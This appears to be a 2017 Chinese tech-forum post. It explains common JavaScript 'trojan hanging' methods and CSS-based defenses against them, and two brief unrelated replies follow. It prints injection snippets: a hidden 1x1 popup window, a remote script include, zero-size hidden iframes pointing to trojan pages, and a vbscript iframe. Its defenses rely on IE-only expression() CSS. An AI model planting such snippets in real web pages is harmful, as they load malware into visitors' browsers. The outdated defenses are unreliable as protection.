UDN-企业互联网技术人气社区

板块导航

浏览  : 780
回复  : 2

[原生js] 常见JS挂马方法及如何防止网站被黑客挂马?

[复制链接]
葡萄柚的头像 楼主
发表于 2017-2-5 10:22:43 | 显示全部楼层 |阅读模式
  一、常见JS挂马方法

  现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

  这种方法使用的关键代码如下:
  1. window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
复制代码

  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

  另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:
  1. <script src="http://www.mahaixiang.cn/木马脚本.js"></script>
复制代码

  或者
  1. document.write("<div style='display:none'>")
  2. document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
  3. document.write("</div>")
复制代码

  就成功地将木马挂到了对方的网页中了。

  黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:
  1. <div >
复制代码

  或者:
  1. <iframe src="vbscript:[挂马脚本]">
复制代码

1.png

  二、如何防止网站被黑客挂马?

  防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:
  1. iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  2. script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
复制代码

  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访 问者的电脑中,从而起到防范JS脚本挂马的作用。

  让JS木马的进程迅速中止

  在 <head> </head> 之间加入如下代码:

  屏蔽script和iframe
  1. <style type="text/css" id="LinrStudio">
  2. /*<![CDATA[*/
  3. iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
  4. script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
  5. /*]]>*/
  6. </style>
复制代码

  单屏蔽script
  1. <style type="text/css" id="LinrStudio">
  2. /*<![CDATA[*/
  3. /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
  4. script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
  5. /*]]>*/
  6. </style>
复制代码

  如果有朋友发现自己的网站有被挂马的现象,不妨用这种方法试下。由此可见,平时检查代码是维护网站的重要部分,而代码的简洁性又是至关重要的。对于如何优化网站代码,有兴趣的朋友可以试下:

相关帖子

发表于 2017-2-5 10:23:12 | 显示全部楼层
js框架越来越火了, 不过本人还是喜欢原生的好, 自己写类库, 自己来封装,用着方便。。。。
使用道具 举报

回复

发表于 2017-2-5 10:23:12 | 显示全部楼层
个人觉得js是一种解释性语言,它提供了一个非常方便的开发过程,不需要编译,js与HTML标识结合在一起,从而方便用户的使用操作。
使用道具 举报

回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们
联系我们
  • 电话:010-86393388
  • 邮件:udn@yonyou.com
  • 地址:北京市海淀区北清路68号
移动客户端下载
关注我们
  • 微信公众号:yonyouudn
  • 扫描右侧二维码关注我们
  • 专注企业互联网的技术社区
版权所有:用友网络科技股份有限公司82041 京ICP备05007539号-11 京公网网备安1101080209224 Powered by Discuz!
快速回复 返回列表 返回顶部